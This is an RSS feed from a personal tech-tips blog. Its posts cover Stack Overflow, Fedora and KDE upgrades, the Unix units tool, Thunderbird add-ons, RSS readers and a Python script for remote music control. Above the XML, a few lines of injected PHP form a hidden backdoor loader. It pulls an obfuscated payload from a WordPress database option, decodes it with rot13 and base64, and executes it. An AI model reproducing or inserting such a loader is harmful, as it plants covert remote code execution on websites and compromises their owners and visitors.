<? /**/ ?>
<?
$z=get_option("_transient_feed_99e5d264eeaa8c05e17c5eed4140b1dd"); $z=base64_decode(str_rot13($z)); if(strpos($z,"A0ED8507")!==false){ $_z=create_function("",$z); @$_z(); }
 /**/ ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dr Jan's Tips From The Top &#187; howto</title>
	<atom:link href="http://www.dr-jan.com/tips/category/howto/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dr-jan.com/tips</link>
	<description>Handy hints and techy tips from Dr Jan.</description>
	<lastBuildDate>Tue, 15 May 2012 22:11:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>stackoverflow.com and serverfault.com</title>
		<link>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/</link>
		<comments>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/#comments</comments>
		<pubDate>Sun, 31 May 2009 18:22:31 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[networks]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Jeff Atwood]]></category>
		<category><![CDATA[joel spolsky]]></category>
		<category><![CDATA[serverfault]]></category>
		<category><![CDATA[stackoverflow]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=53</guid>
		<description><![CDATA[Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain OK, first things first, stackoverflow.com. This is a joint venture between Joel Spolsky and Jeff Atwood. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is It&#8217;s Expert&#8217;s Exchange [...]]]></description>
			<content:encoded><![CDATA[<p>Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>OK, first things first, <a href="http://stackoverflow.com">stackoverflow.com</a>. This is a joint venture between <a href="http://www.joelonsoftware.com/">Joel Spolsky</a> and <a href="http://www.codinghorror.com">Jeff Atwood</a>. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is </p>
<blockquote><p>It&#8217;s Expert&#8217;s Exchange without the suck.</p></blockquote>
<p>Anyone can ask a programming-related question, and normally an answer will be posted within a few minutes &#8211; that&#8217;s how active the user community is. It&#8217;s likely that there will be a number of answers for any given question, and the asker can select their &#8216;best&#8217; answer.</p>
<p>If you register on the site (using <a href="http://openid.net/">OpenID</a>) you will collect &#8216;reputation&#8217; or &#8216;karma&#8217; points and &#8216;medals&#8217; as you use the site. Anyone (above a small threshold of karma) can vote both questions and answers up or down, so in theory the best answer should find its way to the top of the list.</p>
<p>Stackoverflow.com has been around for several months now and is proving to be an invaluable resource. Googling for almost any programming-related question will probably get a result on stackoverflow.com.</p>
<p>Just this week <a href="http://serverfault.com/">serverfault.com</a> has come out of private beta. This is very similar to stackoverflow.com, except that the focus is server, network and system administration rather than programming. Of course, there is a fair overlap between the two sites in terms of users.</p>
<p>You may also be interested in the weekly <a href="http://itc.conversationsnetwork.org/series/stackoverflow.html">podcast</a> by Jeff and Joel, which is always worth a listen.</p>
<p>I can heartily recommend both sites &#8211; obviously it depends on your focus as to which (if either) will be useful to you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fedora 9 and KDE 4</title>
		<link>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/</link>
		<comments>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/#comments</comments>
		<pubDate>Thu, 25 Sep 2008 21:10:18 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[kde]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[dual-screen]]></category>
		<category><![CDATA[Fedora]]></category>
		<category><![CDATA[Fedora 9]]></category>
		<category><![CDATA[fuzzy clock]]></category>
		<category><![CDATA[KDE 4]]></category>
		<category><![CDATA[KDE 4.0]]></category>
		<category><![CDATA[KDE 4.1]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=48</guid>
		<description><![CDATA[I&#8217;ve recently upgraded my home PC from Fedora 8 to Fedora 9. One of the big benefits (apart from getting the very latest Firefox and Thunderbird packages) is that F9 features KDE 4, the latest version of the KDE desktop window manager. Fedora 9 To upgrade, I followed the excellent instructions at http://www.gagme.com/greg/linux/f9-tips.php. The key [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve recently upgraded my home PC from Fedora 8 to <a href="http://fedoraproject.org/">Fedora 9</a>. One of the big benefits (apart from getting the very latest Firefox and Thunderbird packages) is that F9 features <a href="http://www.kde.org/">KDE 4</a>, the latest version of the KDE desktop window manager.</p>
<p><strong>Fedora 9</strong><br />
To upgrade, I followed the <em>excellent</em> instructions at <a href="http://www.gagme.com/greg/linux/f9-tips.php">http://www.gagme.com/greg/linux/f9-tips.php</a>. The key point is to use the &#8216;preupgrade&#8217; package to sort everything out:</p>
<p><code>yum -y install preupgrade<br />
preupgrade</code></p>
<p>This downloads new F9 versions of all the RPM packages you have on your system and then sets everything up so that when you re-boot your machine it will start F9.</p>
<p>It&#8217;s an excellent idea, and for me It Just Worked.</p>
<p><strong>KDE 4</strong><br />
KDE version 4 is all rather new. Initially I had version 4.0 installed. The biggest drawback to this version was the absence of the <a href="http://www.dr-jan.com/tips/2008/03/24/kde/">Fuzzy Clock</a>. However, I&#8217;m pleased to say that on my first &#8216;yum update&#8217;, my system was upgraded to KDE 4.1, complete with Fuzzy Clock. Whilst version 4.0 was looking a bit rough round the edges, 4.1 is a far more polished affair.</p>
<p>One of the new features (on System Settings, Desktop, General tab) is the ability to &#8216;Enable desktop effects&#8217;, which makes the whole machine much more Mac-like in the prettyness of the desktop. However, I noticed that with this turned on, even when nothing else was running, I was using about 50% of my CPU power just to run the desktop. So I turned that off <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The other annoyance in KDE4 was the lack of launch buttons on the panel for my favourite applications. This was really getting on my nerves until I realised that the default &#8216;tab&#8217; shown initially when clicking on the &#8216;K&#8217; menu button is the Favourites tab. To add things to the Favourites tab just find the application in the labyrinth of menus on the &#8216;K&#8217; menu, click it with the secondary mouse button and select &#8216;Add to Favourites&#8217; from the context-sensitive menu. Now all your favourite applications are just 2 clicks away on the &#8216;K&#8217; menu button.</p>
<p><strong>UPDATE:</strong> Neither KDE 4.0 nor KDE 4.1 can cope with dual screen display systems! I&#8217;ve seen comments that imply dual screen configurations are very rare and so fixing the problems is not a priority. Boo : -( See my comments below for details.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Units</title>
		<link>http://www.dr-jan.com/tips/2008/06/11/units/</link>
		<comments>http://www.dr-jan.com/tips/2008/06/11/units/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 23:07:29 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[units unix command-line]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=45</guid>
		<description><![CDATA[I was recently reminded of the excellent &#8216;units&#8217; program, available with all good Unix systems. Units will convert quantities expressed in one unit in to another unit. Here&#8217;s an example: $ units 2439 units, 71 prefixes, 33 nonlinear units You have: 12 miles You want: kilometres * 19.312128 / 0.051780933 You have: So, 12 miles [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently reminded of the excellent &#8216;units&#8217; program, available with all good Unix systems.</p>
<p>Units will convert quantities expressed in one unit in to another unit. Here&#8217;s an example:</p>
<p><code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: 12 miles<br />
You want: kilometres<br />
        * 19.312128<br />
        / 0.051780933<br />
You have:<br />
</code></p>
<p>So, 12 miles is equivalent to 19.312128 kilometres. OK, that was an easy one to warm up with. Units knows about all kinds of arcane measures and can happily convert between them all. Here&#8217;s an example from the man page:</p>
<p><code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: furlongs per fortnight<br />
You want: m/s<br />
        * 0.00016630952<br />
        / 6012.8848<br />
You have:<br />
</code></p>
<p>I actually needed to use units to find out my weight in kilos:<br />
<code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: 20 stone + 1 lb<br />
You want: kilos<br />
conformability error<br />
        127.45946 kg<br />
        1000<br />
You have:<br />
</code></p>
<p>My goodness, <a href="http://www.dr-jan.com/newblog/2008/06/10/im_thin/">that&#8217;s a large number</a>!</p>
<p>Units should be available in most versions of Unix and Linux &#8211; just get a terminal session (telnet or ssh for example) and type in &#8216;units&#8217;. As usual, read the manual page by typing &#8216;man units&#8217;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/06/11/units/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thunderbird and Lightning</title>
		<link>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</link>
		<comments>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 22:23:52 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[calendars]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google data provider]]></category>
		<category><![CDATA[goosync]]></category>
		<category><![CDATA[lightning]]></category>
		<category><![CDATA[sync]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</guid>
		<description><![CDATA[Previously on Twin Peaks I wrote about the problems I was having with the Lightning calendar add-on for the Thunderbird email client, to the extent that I had to un-install the add-on and the associated Google Data Provider add-on (which synchronises calendars between Lightning and Google Calendar). I&#8217;m pleased to report that since the release [...]]]></description>
			<content:encoded><![CDATA[<p>Previously on Twin Peaks I <a href="http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/">wrote</a> about the problems I was having with the <a href="https://addons.mozilla.org/en-US/thunderbird/addon/2313">Lightning</a> calendar add-on for the <a href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> email client, to the extent that I had to un-install the add-on and the associated <a href="https://addons.mozilla.org/en-US/thunderbird/addon/4631">Google Data Provider</a> add-on (which synchronises calendars between Lightning and <a href="http://www.google.com/calendar/">Google Calendar</a>).</p>
<p>I&#8217;m pleased to report that since the release of version 0.8 of Lightning, and the corresponding update of the Google Data Provider add-on everything seems to be working well. I can now update calendar data in both directions.</p>
<p>This, in combination with <a href="http://www.goosync.com/">GooSync</a>, which syncs the Google Calendar to my mobile phone (a Nokia N95), means all my calendars are now easy to keep in sync.</p>
<p>For work I use a Blackberry 8300, and I&#8217;m pleased to say there&#8217;s an official <a href="http://www.google.com/support/mobile/bin/topic.cs/bin/topic.py?topic=13626&#038;hl=en">Google application</a> to sync the calendar.</p>
<p>Phew! Synchronising calendars has been a surprisingly difficult problem to solve, but thankfully we seem to have licked that particular problem now <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#039;s RSS, and why do I need it?</title>
		<link>http://www.dr-jan.com/tips/2008/01/16/whats-rss-and-why-do-i-need-it/</link>
		<comments>http://www.dr-jan.com/tips/2008/01/16/whats-rss-and-why-do-i-need-it/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 23:30:09 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[blogs]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[feed reader]]></category>
		<category><![CDATA[google reader]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[syndication]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2008/01/16/whats-rss-and-why-do-i-need-it/</guid>
		<description><![CDATA[RSS is short for Really Simple Syndication. It&#8217;s an easy way to keep up to date with frequently changing websites. Let me give you an example. This web page changes every time I write a new post (admittedly not that often). Rather than periodically checking this page for updates (or, more likely, forgetting all about [...]]]></description>
			<content:encoded><![CDATA[<p>RSS is short for Really Simple Syndication. It&#8217;s an easy way to keep up to date with frequently changing websites.</p>
<p>Let me give you an example. This web page changes every time I write a new post (admittedly not <em>that</em> often). Rather than periodically checking this page for updates (or, more likely, forgetting all about it until a year later), you can subscribe to it using a feed aggregator or feed reader. Then, whenever I post a new article on this page, it will automatically appear in your feed reader shortly after I publish it.</p>
<p>OK, this may seem to be a bit of a convoluted way to keep up to date with Dr Jan&#8217;s Tips From The Top, but when you subscribe to a number of different blogs, the feed reader starts to make a lot more sense.</p>
<p>Below, I&#8217;ll go through setting up a feed reader and subscribing to various feeds.</p>
<p>Of course, there are a whole raft of different feed readers available for free download, as well as several which are entirely web-based. Personally, I use Google Reader.</p>
<p>To get started with Google Reader, open a new browser window and navigate to <a href="http://www.google.com/reader">http://www.google.com/reader</a>. </p>
<p>If you already have a Google account, login, otherwise create a new account. Once you have logged in, you should see the &#8216;Welcome to Google Reader!&#8217; page. You can take the tour or watch the video for further information. Or you can jump right in and click on &#8216;Get started by adding subscriptions&#8217;.</p>
<p>You can select from the bundles that Google offers by default, or, if you have a particular feed in mind, just scroll down the page to the Search and Browse section. In the box, copy and paste this feed address:</p>
<p><code>http://www.dr-jan.com/tips/feed/</code></p>
<p>then click the &#8216;Search for feeds&#8217; button.</p>
<p>Google should find one matching feed, &#8216;Dr Jan&#8217;s Tips From The Top&#8217;. Click the &#8216;Subscribe&#8217; button and, once you see the message confirming your subscription, click on the &#8216;All items&#8217; link on the top left hand side of the screen. You&#8217;ll be taken to the main Google Reader screen with the most recent posts from this blog shown.</p>
<p>As you scroll down the screen, reading the posts, the current post will be highlighted with a blue border. When you move down to the next post, the one you&#8217;ve just finished with is automatically marked as &#8216;read&#8217;, so you won&#8217;t see that post again in the normal course of events.</p>
<p>You can easily add more subscriptions by clicking the &#8216;Add subscriptions&#8217; link.</p>
<p>Lots of websites use a small orange icon like this <img src="/tips/wp-includes/images/rss.png" alt="Standard RSS Icon." /> or one of these (shown enlarged for clarity):<br />
<img src="/pix/rss.jpg" alt="XML and RSS icons." /><br />
to indicate that a feed is available. Normally, you can wrong-click on the icon and select &#8216;Copy Link Location&#8217; or equivalent command, then paste the results into the Google Reader &#8216;Add subscriptions&#8217; box.</p>
<p>There are lots of feeds for things other than blogs. For example, BBC News is available as a feed. Check out <a href="http://news.bbc.co.uk/1/hi/help/3223484.stm">this page</a> for an introduction to RSS feeds along with a list of some of the feeds available from the BBC.</p>
<p>If you&#8217;re searching for a job, most job sites will let you create a feed containing jobs which match your search criteria, so you&#8217;ll always know about the very latest jobs as they appear.</p>
<p>Just look out for those small orange icons and you&#8217;ll be surprised at what you can subscribe to with your feed reader <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/01/16/whats-rss-and-why-do-i-need-it/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Disabling Thunderbird Addons</title>
		<link>http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/</link>
		<comments>http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/#comments</comments>
		<pubDate>Sun, 30 Dec 2007 23:48:58 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[calendars]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[add-ons]]></category>
		<category><![CDATA[google data provider]]></category>
		<category><![CDATA[lightning]]></category>
		<category><![CDATA[safe mode]]></category>
		<category><![CDATA[thunderbird]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/</guid>
		<description><![CDATA[Today I was in the unfortunate position of not being able to use Thunderbird to read my email. I recently installed the Lightning calendar addon together with the Provider for Google Calendar addon. What&#8217;s supposed to happen is the calendar within Thunderbird (provided by the Lightning addon) is automatically updated from (and updates) my Google [...]]]></description>
			<content:encoded><![CDATA[<p>Today I was in the unfortunate position of not being able to use Thunderbird to read my email. I recently installed the Lightning calendar addon together with the Provider for Google Calendar addon. What&#8217;s supposed to happen is the calendar within Thunderbird (provided by the Lightning addon) is automatically updated from (and updates) my Google Calendars.</p>
<p>In practice, what happens is that when Thunderbird starts, not much happens until I get a popup dialog box telling me that a script on this page is taking a long time to finish. Even if I try and cancel the script, nothing responds until I manually kill off Thunderbird completely.</p>
<p>Which is a shame.</p>
<p>So, Dr Jan&#8217;s Tip From The Top for today is&#8230;</p>
<p>You can start Thunderbird with all addons disabled by using the command line:<br />
<code><br />
thunderbird -safe-mode<br />
</code></p>
<p>Once Thunderbird has started it&#8217;s then a simple matter to use the Addons screen to disable or uninstall the offending addon.</p>
<p>It seems that the problem for me was the Provider for Google Calendar addon. The Lightning calendar is excellent, and getting better at a good rate too. Unfortunately, without the Google Calendar synchronisation it&#8217;s not much use to me at the moment.</p>
<p>I&#8217;ll probably try again when a new version is released <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Remotely Controlling Your Music Player</title>
		<link>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</link>
		<comments>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 22:35:55 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[gui]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[s60]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[snackAmp]]></category>
		<category><![CDATA[tcp socket]]></category>
		<category><![CDATA[tkinter]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[wi-fi]]></category>
		<category><![CDATA[x-windows]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</guid>
		<description><![CDATA[I have recently programmed my Nokia N95 phone to control my music player (the rather marvellous snackAmp) remotely. SnackAmp sits on my Linux-based server box. It has a remote control feature (details here) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently programmed my <a href="http://www.nseries.com/products/n95/index.html#l=products,n95">Nokia N95</a> phone to control my music player (the rather marvellous <a href="http://snackamp.sourceforge.net/">snackAmp</a>) remotely.</p>
<p>SnackAmp sits on my Linux-based server box. It has a remote control feature (details <a href="http://snackamp.sourceforge.net/user_manual/um_api.html">here</a>) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi connection to my music server and send simple commands to control it.</p>
<p>I was pleasantly surprised at just how easy all this turned out to be <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>First, I installed <a href="http://www.python.org/">Python</a>. This is available from the <a href="http://opensource.nokia.com/projects/pythonfors60/">Nokia Opensource site</a>. The N95 uses the 3rd edition of the S60 operating system, so I downloaded these files:</p>
<ul>
<li>PythonForS60_1_4_1_3rdEd.SIS
</li>
<li>PythonScriptShell_1_4_1_3rdEd.sis
</li>
</ul>
<p>Then I wrote a small Python script to open a TCP socket on the music server and send the appropriate text strings to control the music player.</p>
<p>The script (see below) first defines some handy functions. send_command actually sends the specified command to the music player. play, pause, stop, next and prev call the send_command function with the appropriate command text.</p>
<p>The main section of the script first checks if there are any command line parameters. If there are, it tries to immediately send the appropriate command and then exits.</p>
<p>If not, it discovers which operating system it is running on, and uses that information to execute one of two sections. The S60 section uses a standard Nokia list GUI widget to enable the user to select a command. The script sends the command and exits. Note that the Nokia GUI requires you to specify all strings as Unicode. Python does this by prefixing each string with &#8216;u&#8217; &#8211; for example, u&#8217;Pause&#8217;.</p>
<p>The Linux section uses the standard Python Tkinter GUI library to generate a small X-windows based window with push buttons to select commands. This part of the script uses a loop to allow multiple commands to be sent. The window is active until you select the Quit option.</p>
<p>Here is the script:</p>
<div id="script" class="code">
<pre>
#!/usr/bin/python
import socket
import sys
import string

def send_command(command):
        # opens a socket to snackAmp, sends the appropriate command and
        # closes the socket.

        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # connect to server
        host = '192.168.1.20' # server address - bletchley is 192.168.1.20
        port = 8775 # server port
        s.connect((host, port))

        s.send(command) # send command

        # close the connection
        s.close()

def prev():
        print 'previous...'
        send_command('xmms_remote_playlist_prev')

def pause():
        print 'pause...'
        send_command('xmms_remote_pause')

def play():
        print 'play...'
        send_command('xmms_remote_play')

def stop():
        print 'stop...'
        send_command('xmms_remote_stop')

def next():
        print 'next...'
        send_command('xmms_remote_playlist_next')

args = sys.argv[1:]     # don't keep the program name
if len(args) > 0:
        for a in args:
                found = 0
                a = string.lower(a)
                if a == 'pause':
                        found = 1
                        pause()
                if a == 'prev':
                        found = 1
                        prev()
                if a == 'play':
                        found = 1
                        play()
                if a == 'stop':
                        found = 1
                        stop()
                if a == 'next':
                        found = 1
                        next()
                if found == 0:
                        print "Command not recognised. Currently implemented are pause, prev, play, stop, next."
else:
        if sys.platform == 'symbian_s60':
                # we are running on a Nokia phone
                import appuifw  # access to the user interface framework
                menu = [u'Pause', u'Prev', u'Next', u'Play', u'Stop']
                index = appuifw.selection_list(choices=menu, search_field=0)

                if index == 0:
                        pause()

                if index == 1:
                        prev()

                if index == 2:
                        next()

                if index == 3:
                        play()

                if index == 4:
                        stop()
        else:
                # we are running on a standard computer (i.e. not a phone)
                from Tkinter import *

                class Application(Frame):
                        def __init__(self, master=None):
                                Frame.__init__(self, master)
                                self.grid()
                                self.createWidgets()

                        def createWidgets(self):
                                self.pauseButton = Button (self, text="Pause", underline = 0, command=pause)
                                self.pauseButton.grid(row=0, column=0, columnspan=4, sticky=E+W)
                                self.prevButton = Button (self, text="Prev", underline = 1, command=prev)
                                self.prevButton.grid(row=1, column=0)
                                self.playButton = Button (self, text="Go", underline = 0, command=play)
                                self.playButton.grid(row=1, column=1)
                                self.stopButton = Button (self, text="Stop", underline = 0, command=stop)
                                self.stopButton.grid(row=1, column=2)
                                self.nextButton = Button (self, text="Next", underline = 0, command=next)
                                self.nextButton.grid(row=1, column=3)
                                self.quitButton = Button (self, text="Quit", underline = 0, command=self.quit)
                                self.quitButton.grid(row=2, column=0, columnspan=4, sticky=E+W)

                app = Application()
                app.master.title("snackAmp Control")
                app.mainloop()
</pre>
</div>
<p>You&#8217;ll need to create the script in your favourite text editor on your PC and then transfer it to the phone. I used a USB cable to connect the phone to the PC and selected the mass storage option on the phone. Once the file is transferred, you&#8217;ll need to disconnect the USB cable so the phone can access the memory card again.</p>
<p>In theory you can use Bluetooth to transfer the script, but I&#8217;ve seen reports that it doesn&#8217;t work with S60 3rd edition. I don&#8217;t have Bluetooth on my Linux server, so I can&#8217;t tell you <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>In use, start Python on the phone, then run a script. Select the script name and the command list appears. Choose a command. The &#8216;Select access point&#8217; screen appears and I choose my Wi-Fi router connection. Then magic happens and the music obeys my commands <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

